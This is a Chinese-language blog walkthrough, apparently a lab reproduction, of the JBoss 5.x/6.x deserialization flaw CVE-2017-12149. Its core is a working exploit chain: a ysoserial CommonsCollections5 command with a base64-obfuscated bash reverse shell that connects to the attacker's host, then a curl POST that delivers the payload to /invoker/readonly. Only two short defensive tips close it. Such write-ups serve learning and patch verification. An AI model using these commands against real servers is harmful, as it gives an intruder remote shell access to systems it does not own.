JBoss5.x / 6.x反序列化漏洞(CVE-2017-12149)

一、漏洞介绍

1.1 漏洞详情

  该漏洞为Java反序列化错误类型,存在于JBoss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中。该过滤器没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化。该漏洞在内网中比较常见。

1.2 影响版本

  • JBoss 5.x 和 6.x

二、环境搭建

  • 受害者:192.168.159.129(vulhub)
  • 攻击者:192.168.158.128(kali)

》》进入到如下目录启动环境
在这里插入图片描述
》》查看启动的端口
在这里插入图片描述
》》访问web页面
在这里插入图片描述

三、漏洞复现

》》nmap探测其端口
在这里插入图片描述
》》访问该端口服务
在这里插入图片描述
》》使用ysoserial生成序列化数据,并重定向到exp.ser文件

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4xMjgvMTkxMTEgMD4mMQ==}|{base64,-d}|{bash,-i} " >exp.ser

在这里插入图片描述

Tips1:ysoserical用法:
java -jar ysoserial.jar [payload] “[command]”

Tips2:由于目标jdk版本过高,因此这里使用的利用库为CommonsCollections5(具体根据对方jdk版本选择)

Tips3:我们使用bash反弹shell,由于Runtime.getRuntime().exec()中不能使用重定向和管道符符号,这里需要对其进行Base64编码再使用

》》攻击者启动nc监听shell
在这里插入图片描述
》》通过二进制POST方式发送攻击载荷到 /invoker/readonly

curl http://192.168.159.129:8080/invoker/readonly --data-binary @exp.ser

在这里插入图片描述
》》攻击者成功收到shell
在这里插入图片描述

四、漏洞防御

  1. 不要将服务暴露在公网
  2. 升级JBoss到最新版本

猜你喜欢

转载自blog.csdn.net/Aaron_Miller/article/details/106620167
今日推荐